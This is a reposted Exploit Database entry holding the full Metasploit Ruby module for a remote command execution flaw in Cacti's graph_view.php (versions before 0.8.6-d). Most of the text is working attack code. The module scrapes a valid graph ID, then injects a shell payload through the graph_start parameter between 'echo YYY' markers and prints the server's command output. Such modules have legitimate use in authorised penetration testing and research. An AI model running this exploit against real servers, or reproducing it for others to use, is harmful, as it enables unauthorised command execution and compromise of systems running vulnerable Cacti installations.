Cacti – ‘graph_view.php’ Remote Command Execution (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16881/

• ##
  # $Id: cacti_graphimage_exec.rb 9671 2010-07-03 06:21:31Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Cacti graph_view.php Remote Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in the
  				Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
  				0.8.6-d are vulnerable.
  			},
  			'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9671 $',
  			'References' =>
  				[
  					[ 'OSVDB', '17539' ],
  					[ 'BID', '14042' ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 512,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Jan 15 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
  			], self.class)
  	end
  
  	def exploit
  		# Obtain a valid image ID
  		res = send_request_cgi({
  			'uri'=> datastore['URI'],
  			'vars_get' =>
  				{
  					'action' => 'list'
  				}
  			}, 10)
  
  		if (not res)
  			print_error("The server gave no response")
  			return
  		end
  
  		m = res.body.match(/local_graph_id=(.*?)&/)
  		if (not m)
  			print_error("Could not locate a valid image ID")
  			return
  		end
  
  		# Trigger the command execution bug
  		res = send_request_cgi({
  			'uri'=> datastore['URI'],
  			'vars_get' =>
  				{
  					'local_graph_id' => m[1],
  					'graph_start'=> "\necho YYY;#{payload.encoded};echo YYY;echo\n"
  				}
  			}, 25)
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  			print("")
  
  			m = res.body.match(/YYY(.*)YYY/)
  
  			if (m)
  				print_status("Command output from the server:")
  				print(m[1])
  			else
  				print_status("This server may not be vulnerable")
  			end
  
  		else
  			print_status("No response from the server")
  		end
  	end
  
  end